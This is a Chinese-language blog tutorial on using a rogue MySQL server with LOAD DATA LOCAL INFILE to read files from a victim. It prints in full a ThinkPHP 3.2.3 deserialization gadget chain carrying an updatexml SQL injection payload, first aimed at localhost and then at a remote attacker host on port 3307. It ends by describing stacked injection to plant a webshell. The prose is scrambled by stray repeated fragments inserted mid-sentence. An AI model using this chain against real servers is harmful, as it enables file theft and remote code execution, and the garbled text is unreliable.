前言 搭建MySQL恶意服务器读取文件这件事,浅析虽然直接利用门槛较高,意服原理但是器文件由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,浅析总结了一下攻击原理以及攻击方式,意服原理因此就有了这篇文章。器文件 在阐述具体原理之前,浅析先介绍几个SQL语句,意服原理以便后文理解。器文件 首先在tmp目录下新建一个tmp.txt。浅析 内容如下: 然后执行下方SQL语句,意服原理即可将tmp.txt文件导入其中 mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by \n; Query OK,器文件 3 rows affected (2.63 sec) Records: 3 Deleted: 0 Skipped: 0 Warnings: 0 mysql> select * from Test; +-------+ | name | +-------+ | admin | | user | | Lxxx | +-------+ 这个时候可能就会绕不清楚,意服原理什么是器文件服务端,什么是客户端? 因为一般情况下,调试SQL都是在本机,并且数据库也在本机,这样的情况就导致,客户端和服务端都是在本地,有点难区分,下面我用一张图来简述。 在本地,由于客户端和服务端都是在同一个磁盘下,网站模板因此,在本地,无论是否加local都是可以将文件传入数据库的,而后面讲到利用MySQL恶意服务器读取文件的漏洞,就是需要使用local,来达到将文件带出的目的。 下面我画了两张图,第一张图是正常业务流程,第二张图是攻击者恶意攻击的流程 正常的后端业务流程如下: 当攻击者劫持后端服务器,并且在公网中搭建恶意的MySQL后,流程图如下: 这样攻击者就可以在后端达到任意文件下载的目的。 虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,源码库进而RCE的样例。 首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口。 namespace Home\Controller; use Think\Controller; class HelloController extends Controller { public function index($Lxxx){ echo base64_decode($Lxxx); $a = unserialize(base64_decode($Lxxx)); } 具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。 这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell。 namespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件 ); protected $config = array( "debug" => 1, "database" => "tp323", "hostname" => "127.0.0.1", "hostport" => "8889", "charset" => "utf8", "username" => "root", "password" => "root" ); } } namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } } } namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle; public function __construct(){ $this->handle = new Model(); } } } namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; public function __construct(){ $this->db = new Mysql(); $this->options[where] = ; $this->pk = id; $this->data[$this->pk] = array( "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#", "where" => "1=1" ); } } } namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick())); 上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下: 传给url 可以看到报错注入成功,然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件,这里贴出几个连接,有些项目可能在新的MySQL版本中无法使用。 下载好POC之后,修改一下要读取的文件名。 然后利用Python启动,启动完成后,恶意的MySQL就在监听3307端口 接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子。 namespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件 ); protected $config = array( "debug" => 1, "database" => "tp323", "hostname" => "1.1.1.1", "hostport" => "3307", "charset" => "utf8", "username" => "root", "password" => "root" ); } } namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } } } namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle; public function __construct(){ $this->handle = new Model(); } } } namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; public function __construct(){ $this->db = new Mysql(); $this->options[where] = ; $this->pk = id; $this->data[$this->pk] = array( "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#", "where" => "1=1" ); } } } namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick())); 得到: 传给HomeController控制器,然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件。 现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了。